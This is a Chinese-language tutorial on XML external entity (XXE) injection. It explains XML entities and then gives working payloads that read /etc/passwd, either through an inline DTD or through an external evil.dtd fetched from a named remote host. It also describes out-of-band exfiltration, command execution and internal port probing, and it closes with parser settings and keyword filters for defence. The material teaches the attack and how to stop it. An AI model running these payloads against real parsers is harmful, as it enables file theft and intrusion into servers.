XML实体注入?
为什么称为XML实体注入=XXE了?

首先,要了解xml文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA
简单对这几个模块解释

1,元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

实例:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

2,属性

属性可提供有关元素的额外信息

实例:

<img src="computer.gif" />

3,实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。—那么这里就是关于XML实体注入的关键点了

4,PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

5,CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。

从上面可以找到,实体是用来定义普通文本的变量,实体引用是对实体的引用,XML实体注入就是对实体模块中的内容插入的一种注入

XXE的攻击与危害(XML External Entity)

1,何为XXE?

答: xxe也就是xml外部实体注入。

2,怎样构建外部实体注入?

方式一:直接通过DTD外部实体声明

XML内容

<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部实体声明

好像有点拗口,其实意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明

具体看例子,XML内容

<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY  %  d SYSTEM "http://mark4z5.com/evil.dtd">
	%d;
]>
<c>&b;</c>

dtd文件内容

<!ENTITY b SYSTEM "file://etc/passwd">

3,支持的协议有哪些?

不同程序支持的协议如下图

XXE实体注入防御 Java_XXE实体注入防御 Java

其中php支持的协议会更多一些,但需要一定的扩展支持

4,产生哪些危害?

XXE实体注入防御 Java_XXE实体注入防御 Java_02


XXE实体注入防御 Java_数据_03

该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell

另外,数据不回显就没有问题了吗?如下图,

XXE实体注入防御 Java_XXE实体注入防御 Java_04


不,可以把数据发送到远程服务器

XXE实体注入防御 Java_xml_05


远程evil.dtd文件内容如下:

XXE实体注入防御 Java_XXE实体注入防御 Java_06


攻击后,服务器会把文件内容发送到攻击者网站

XXE实体注入防御 Java_XML_07


XXE危害2:执行系统命令

XXE实体注入防御 Java_XXE实体注入防御 Java_08


该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

XXE危害3:探测内网端口

XXE实体注入防御 Java_xml_09


XXE实体注入防御 Java_XXE实体注入防御 Java_10


XXE实体注入防御 Java_数据_11


该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的 XXE危害4:攻击内网网站

XXE实体注入防御 Java_数据_12


如何防御xxe攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY>,或者,SYSTEM和PUBLIC。